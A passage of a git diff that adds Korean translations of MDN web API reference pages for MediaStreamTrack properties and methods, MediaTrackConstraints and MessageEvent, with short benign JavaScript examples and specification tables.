+ <dd>지정한 제약이 트랙과 호환되지 않아서 해당 제약을 무시할 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onoverconstrained">onoverconstrained</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#mediastreamtrack', 'MediaStreamTrack')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("WebRTC Identity", "#isolated-track", "Isolated tracks")}}</td>
+ <td>{{Spec2("WebRTC Identity")}}</td>
+ <td>Additional properties for isolated track support</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaStreamTrack")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li>{{domxref("MediaStream")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/kind/index.html b/files/ko/web/api/mediastreamtrack/kind/index.html
new file mode 100644
index 0000000000..752ab567bd
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/kind/index.html
@@ -0,0 +1,59 @@
+---
+title: MediaStreamTrack.kind
+slug: Web/API/MediaStreamTrack/kind
+tags:
+ - Media Capture and Streams
+ - MediaStreamTrack
+ - Property
+ - Read-only
+ - Reference
+ - WebRTC
+translation_of: Web/API/MediaStreamTrack/kind
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary"><code><strong>MediaStreamTrack.kind</strong></code> 읽기 전용 속성은 트랙이 오디오인 경우 <code>"audio"</code>, 비디오인 경우 <code>"video"</code>인  {{domxref("DOMString")}}을 반환합니다.</span> 트랙이 소스에서 분리된 경우엔 바뀌지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>type</em> = <em>track</em>.kind</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("DOMString")}}. 가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>"audio"</code>: 트랙이 오디오 트랙입니다.</li>
+ <li><code>"video"</code>: 트랙이 비디오 트랙입니다.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-kind', 'MediaStreamTrack.kind') }}</td>
+ <td>{{ Spec2('Media Capture') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.kind")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/label/index.html b/files/ko/web/api/mediastreamtrack/label/index.html
new file mode 100644
index 0000000000..0c2d615e2a
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/label/index.html
@@ -0,0 +1,54 @@
+---
+title: MediaStreamTrack.label
+slug: Web/API/MediaStreamTrack/label
+tags:
+ - Media Capture and Streams
+ - MediaStreamTrack
+ - Property
+ - Read-only
+ - Reference
+ - WebRTC
+translation_of: Web/API/MediaStreamTrack/label
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary"><code><strong>MediaStreamTrack.label</strong></code> 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 트랙 소스를 식별하기 위해 지정한 레이블을 담은 {{domxref("DOMString")}}을 반환합니다.</span> 소스가 연결되지 않은 경우 빈 문자열이며, 연결됐던 트랙이 소스에서 분리되더라도 레이블은 바뀌지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>label</em> = <em>track</em>.label</pre>
+
+<h3 id="값">값</h3>
+
+<p>사용자 에이전트가 지정한 식별 레이블. <code>"internal microphone"</code> 등의 형태입니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-label', 'MediaStreamTrack.label') }}</td>
+ <td>{{ Spec2('Media Capture') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.label")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/muted/index.html b/files/ko/web/api/mediastreamtrack/muted/index.html
new file mode 100644
index 0000000000..c212d7b424
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/muted/index.html
@@ -0,0 +1,67 @@
+---
+title: MediaStreamTrack.muted
+slug: Web/API/MediaStreamTrack/muted
+tags:
+ - API
+ - Media
+ - Media Capture and Streams
+ - MediaStreamTrack
+ - Property
+ - Read-only
+ - Reference
+translation_of: Web/API/MediaStreamTrack/muted
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>muted</code></strong> 읽기 전용 속성은 트랙이 현재 미디어 출력을 제공할 수 없는 상태인지를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 사용자가 트랙을 음소거할 수 있는 기능을 구현하려면 {{domxref("MediaStreamTrack.enabled", "enabled")}} 속성을 사용하세요. <code>enabled</code>를 <code>false</code>로 바꿔 트랙을 비활성하면 빈 프레임(모든 샘플이 0인 오디오 프레임, 모든 픽셀이 검은색인 비디오 프레임)만 생성합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>mutedFlag</em> = <em>track.</em>muted</pre>
+
+<h3 id="값">값</h3>
+
+<p>트랙이 중단된 상태면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 되도록이면 트랙의 중단 상태를 알기 위해 <code>muted</code>를 폴링 하는 것보다는 {{event("mute")}}와 {{event("unmute")}} 이벤트를 수신하세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제 코드는 {{domxref("MediaStreamTrack")}} 배열에서 중단된 트랙의 수를 셉니다.</p>
+
+<pre class="brush: js">let mutedCount = 0;
+
+trackList.forEach((track) =&gt; {
+ if (track.muted) {
+ mutedCount += 1;
+ }
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-muted', 'muted')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.muted")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/readystate/index.html b/files/ko/web/api/mediastreamtrack/readystate/index.html
new file mode 100644
index 0000000000..97a6b5262d
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/readystate/index.html
@@ -0,0 +1,60 @@
+---
+title: MediaStreamTrack.readyState
+slug: Web/API/MediaStreamTrack/readyState
+tags:
+ - API
+ - Media Capture and Streams
+ - MediaStreamTrack
+ - Property
+ - Read-only
+ - Reference
+translation_of: Web/API/MediaStreamTrack/readyState
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><code><strong>MediaStreamTrack.readyState</strong></code> 읽기 전용 속성은 트랙의 상태를 나타내는 열거형 값을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>state</em> = <em>track</em>.readyState</pre>
+
+<h3 id="값">값</h3>
+
+<p>다음의 두 값 중 하나입니다.</p>
+
+<ul>
+ <li><code>"live"</code>는 입력이 연결됐으며 트랙이 실시간 데이터를 받는 중임을 나타냅니다. 이 때, 데이터 출력은 {{domxref("MediaStreamTrack.enabled")}} 속성을 사용해 켜거나 끌 수 있습니다.</li>
+ <li><code>"ended"</code>는 입력이 더 이상 데이터를 제공하지 않으며 앞으로도 새로운 데이터를 제공하지 않을 것임을 나타냅니다.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-readystate', 'MediaStreamTrack.readyState') }}</td>
+ <td>{{ Spec2('Media Capture') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.readyState")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></li>
+ <li>{{domxref("MediaStreamTrack.onended")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/stop/index.html b/files/ko/web/api/mediastreamtrack/stop/index.html
new file mode 100644
index 0000000000..e8ee82011e
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/stop/index.html
@@ -0,0 +1,82 @@
+---
+title: MediaStreamTrack.stop()
+slug: Web/API/MediaStreamTrack/stop
+tags:
+ - API
+ - Media
+ - Media Capture and Streams API
+ - Media Streams API
+ - MediaStreamTrack
+ - Method
+ - Reference
+ - WebRTC
+translation_of: Web/API/MediaStreamTrack/stop
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><code><strong>MediaStreamTrack.stop()</strong></code> 메서드는 트랙을 정지합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>track</em>.stop()
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>stop()</code> 메서드를 호출하면 {{glossary("user agent", "사용자 에이전트")}}에게 {{domxref("MediaStreamTrack")}}이 소스(파일, 네트워크 스트림, 장치 카메라와 마이크...)를 더는 필요로 하지 않음을 표현합니다. 두 개의 탭이 장치의 마이크에 접근하고 있는 경우처럼, 다수의 트랙이 하나의 소스를 사용하고 있을 수도 있으므로 소스 자체는 즉시 멈추지 않을 수도 있으며, 대신 트랙과 소스를 즉시 분리합니다. 아무런 미디어 트랙도 소스를 사용하지 않는 상태가 되면 그때 소스가 완전히 정지합니다.</p>
+
+<p><code>stop()</code>을 호출함과 동시에 {{domxref("MediaStreamTrack.readyState", "readyState")}} 속성은 <code>ended</code>로 바뀝니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="비디오_스트림_정지">비디오 스트림 정지</h3>
+
+<p>이번 예제는 주어진 {{HTMLElement("video")}} 요소의 모든 트랙에서 <code>stop()</code>을 호출해 비디오 스트림을 정지하는 함수입니다.</p>
+
+<pre class="brush: js">function stopStreamedVideo(videoElem) {
+ const stream = videoElem.srcObject;
+ const tracks = stream.getTracks();
+
+ tracks.forEach(function(track) {
+ track.stop();
+ });
+
+ videoElem.srcObject = null;
+}</pre>
+
+<p>우선 비디오 요소에서 {{domxref("HTMLMediaElement.srcObject", "srcObject")}} 속성을 사용해 스트림을 가져오는 것부터 시작합니다. 그다음으로는 {{domxref("MediaStream.getTracks", "getTracks()")}} 메서드를 사용해 스트림의 트랙 목록을 가져오고, 이제 {{jsxref("Array.forEach", "forEach()")}}로 각 트랙의 <code>stop()</code> 메서드를 호출합니다.</p>
+
+<p>마지막으로, <code>srcObject</code>를 {{jsxref("null")}}로 설정해서 {{domxref("MediaStream")}}과의 연결을 끊어, 객체를 해제할 수 있도록 합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-stop', 'MediaStreamTrack.stop()') }}</td>
+ <td>{{ Spec2('Media Capture') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.stop")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{domxref("MediaStreamTrack")}} 인터페이스</li>
+ <li>{{domxref("MediaStreamTrack.readyState")}}</li>
+ <li>{{event("ended")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediatrackconstraints/index.html b/files/ko/web/api/mediatrackconstraints/index.html
new file mode 100644
index 0000000000..dd8f52948b
--- /dev/null
+++ b/files/ko/web/api/mediatrackconstraints/index.html
@@ -0,0 +1,178 @@
+---
+title: MediaTrackConstraints
+slug: Web/API/MediaTrackConstraints
+translation_of: Web/API/MediaTrackConstraints
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><strong><code>MediaTrackConstraints</code></strong> 연관 배열은 트랙의 기능 및 기능이 받는 값 또는 값의 범위를 설명합니다. {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}에 전달해서, 스크립트가 일련의 필수(일치) 조건과 선호 조건의 값과 범위를 트랙에 설정할 수 있으며, 가장 최근에 설정한 사용자 지정 제약은 {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}를 호출해 가져올 수 있습니다.</p>
+
+<p>For each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible. The specifics vary somewhat depending on the type of the constrainable property.</p>
+
+<p>To learn more about how constraints work, see <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a>.</p>
+
+<h2 id="속성">속성</h2>
+
+<p>Some combination—but not necessarily all—of the following properties will exist on the object. This may be because a given browser doesn't support the property, or because it doesn't apply. For example, because {{Glossary("RTP")}} doesn't provide some of these values during negotiation of a WebRTC connection, a track associated with a {{domxref("RTCPeerConnection")}} will not include certain values, such as {{domxref("MediaTrackConstraints.facingMode", "facingMode")}} or {{domxref("MediaTrackConstraints.groupId", "groupId")}}.</p>
+
+<h3 id="모든_미디어_트랙의_속성">모든 미디어 트랙의 속성</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.deviceId", "deviceId")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a device ID or an array of device IDs which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.groupId", "groupId")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a group ID or an array of group IDs which are acceptable and/or required.</dd>
+</dl>
+
+<h3 id="오디오_트랙의_속성">오디오 트랙의 속성</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.autoGainControl", "autoGainControl")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} object which specifies whether automatic gain control is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.channelCount", "channelCount")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the channel count or range of channel counts which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.echoCancellation", "echoCancellation")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} object specifying whether or not echo cancellation is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.latency", "latency")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the latency or range of latencies which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.noiseSuppression", "noiseSuppression")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} which specifies whether noise suppression is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sampleRate", "sampleRate")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the sample rate or range of sample rates which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sampleSize", "sampleSize")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the sample size or range of sample sizes which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.volume", "volume")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the volume or range of volumes which are acceptable and/or required.</dd>
+</dl>
+
+<h3 id="이미지_트랙의_속성">이미지 트랙의 속성</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.whiteBalanceMode","whiteBalanceMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.exposureMode","exposureMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.focusMode","focusMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.pointsOfInterest","pointsOfInterest")}}</dt>
+ <dd>The pixel coordinates on the sensor of one or more points of interest. This is either an object in the form { x:<em>value</em>, y:<em>value</em> } or an array of such objects, where <em>value </em> is a double-precision integer.</dd>
+ <dt>{{domxref("MediaTrackConstraints.expsureCompensation","exposureCompensation")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying f-stop adjustment by up to ±3. </dd>
+ <dt>{{domxref("MediaTrackConstraints.colorTemperature","colorTemperature")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired color temperature in degrees kelvin.</dd>
+ <dt>{{domxref("MediaTrackConstraints.iso","iso")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired iso setting.</dd>
+ <dt>{{domxref("MediaTrackConstraints.brightness","brightness")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired brightness setting.</dd>
+ <dt>{{domxref("MediaTrackConstraints.contrast","contrast")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of difference between light and dark.</dd>
+ <dt>{{domxref("MediaTrackConstraints.saturation","saturation")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of color intensity.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sharpness","sharpness")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the intensity of edges.</dd>
+ <dt>{{domxref("MediaTrackConstraints.focusDistance","focusDistance")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying distance to a focused object.</dd>
+ <dt>{{domxref("MediaTrackConstraints.zoom","zoom")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the desired focal length.</dd>
+ <dt>{{domxref("MediaTrackConstraints.torch","torch")}}</dt>
+ <dd>A {{jsxref("Boolean")}} defining whether the fill light is continuously connected, meaning it stays on as long as the track is active.</dd>
+</dl>
+
+<h3 id="비디오_트랙의_속성">비디오 트랙의 속성</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.aspectRatio", "aspectRatio")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the video aspect ratio or range of aspect ratios which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.facingMode", "facingMode")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a facing or an array of facings which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.frameRate", "frameRate")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the frame rate or range of frame rates which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.height", "height")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the video height or range of heights which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.width", "width")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the video width or range of widths which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.resizeMode", "resizeMode")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a mode or an array of modes the UA can use to derive the resolution of a video track. Allowed values are <code>none</code> and <code>crop-and-scale</code>. <code>none</code> means that the user agent uses the resolution provided by the camera, its driver or the OS. <code>crop-and-scale</code> means that the user agent can use cropping and downscaling on the camera output  in order to satisfy other constraints that affect the resolution.</dd>
+</dl>
+
+<h3 id="화면_공유_트랙의_속성">화면 공유 트랙의 속성</h3>
+
+<p>These constraints apply to <code>MediaTrackConstraints</code> objects specified as part of the {{domxref("DisplayMediaStreamConstraints")}} object's {{domxref("DisplayMediaStreamConstraints.video", "video")}} property when using {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to obtain a stream for screen sharing.</p>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.cursor", "cursor")}}</dt>
+ <dd>
+ <p>A {{domxref("ConstrainDOMString")}} which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. The value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor.</p>
+
+ <dl>
+ <dt><code>always</code></dt>
+ <dd>The mouse is always visible in the video content of the {domxref("MediaStream"), unless the mouse has moved outside the area of the content.</dd>
+ <dt><code>motion</code></dt>
+ <dd>The mouse cursor is always included in the video if it's moving, and for a short time after it stops moving.</dd>
+ <dt><code>never</code></dt>
+ <dd>The mouse cursor is never included in the shared video.</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.displaySurface", "displaySurface")}}</dt>
+ <dd>
+ <p>A {{domxref("ConstrainDOMString")}} which specifies the types of display surface that may be selected by the user. This may be a single one of the following strings, or a list of them to allow multiple source surfaces:</p>
+
+ <dl>
+ <dt><code>application</code></dt>
+ <dd>The stream contains all of the windows of the application chosen by the user rendered into the one video track.</dd>
+ <dt><code>browser</code></dt>
+ <dd>The stream contains the contents of a single browser tab selected by the user.</dd>
+ <dt><code>monitor</code></dt>
+ <dd>The stream's video track contains the entire contents of one or more of the user's screens.</dd>
+ <dt><code>window</code></dt>
+ <dd>The stream contains a single window selected by the user for sharing.</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} value which may contain a single Boolean value or a set of them, indicating whether or not to allow the user to choose source surfaces which do not directly correspond to display areas. These may include backing buffers for windows to allow capture of window contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#dom-mediatrackconstraints')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image', '#mediatrackconstraintset-section')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Adds image constraints.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaTrackConstraints")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capabilities, constraints, and settings</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API">Screen Capture API</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Using the Screen Capture API</a></li>
+ <li>{{domxref("MediaDevices.getUserMedia()")}}</li>
+ <li>{{domxref("MediaStreamTrack.getConstraints()")}}</li>
+ <li>{{domxref("MediaStreamTrack.applyConstraints()")}}</li>
+ <li>{{domxref("MediaDevices.getSupportedConstraints()")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack.getSettings()")}}</li>
+</ul>
diff --git a/files/ko/web/api/messageevent/index.html b/files/ko/web/api/messageevent/index.html
new file mode 100644
index 0000000000..d6a9bea388
--- /dev/null
+++ b/files/ko/web/api/messageevent/index.html
@@ -0,0 +1,104 @@
+---
+title: MessageEvent
+slug: Web/API/MessageEvent
+translation_of: Web/API/MessageEvent
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>MessageEvent</strong></code> 는 {{domxref("WebSocket")}} 또는 WebRTC {{domxref("RTCDataChannel")}} 으로 된 타겟으로 부터 전달받은 메시지를 보여주는 interface 입니다.</p>
+
+<p>이 이벤트는 {{domxref("WebSocket.onmessage")}} 또는 {{domxref("RTCDataChannel.onmessage")}} 으로 설정된 이벤트 핸들러를 통해 실행이 되게 됩니다. </p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}</dt>
+ <dd>새로운 <code>MessageEvent를 생성합니다.</code></dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 interface는 부모 객체인 {{domxref("Event")}}의 속성을 상속받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("MessageEvent.data")}} {{ReadonlyInline}}</dt>
+ <dd>emitter에 의해 보내진 데이터인 {{domxref("DOMString")}}, {{domxref("Blob")}} 또는 {{domxref("ArrayBuffer")}}를 포함합니다. </dd>
+ <dt>{{domxref("MessageEvent.origin")}}</dt>
+ <dd>{{domxref("DOMString")}} 입니다.…</dd>
+ <dt>{{domxref("MessageEvent.ports")}}</dt>
+ <dd>…</dd>
+ <dt>{{domxref("MessageEvent.source")}}</dt>
+ <dd>…</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>이 interface는 부모 객체인 {{domxref("Event")}}의 메서드를 상속받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("MessageEvent.initMessageEvent()")}} {{deprecated_inline}}</dt>
+ <dd>… <strong>더 이상 사용하지 마십시오</strong><br>
+ : {{domxref("MessageEvent.MessageEvent", "MessageEvent()")}} 생성자를 대신 사용하십시오.</dd>
+</dl>
+
+<h2 id="Browser_호환성">Browser 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 11.0 {{geckoRelease("11.0")}}부터  Gecko는 데이터를 위한 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>를 지원하지만</code>{{domxref("Blob")}}를 지원하지는 않습니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("ExtendableMessageEvent")}}, 와 유사한 interface이며, 개발자에게 더 유연성을 제공하기 위해 사용되는 interface 입니다.</li>
+ <li><a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+</ul>
diff --git a/files/ko/web/api/mouseevent/clientx/index.html b/files/ko/web/api/mouseevent/clientx/index.html
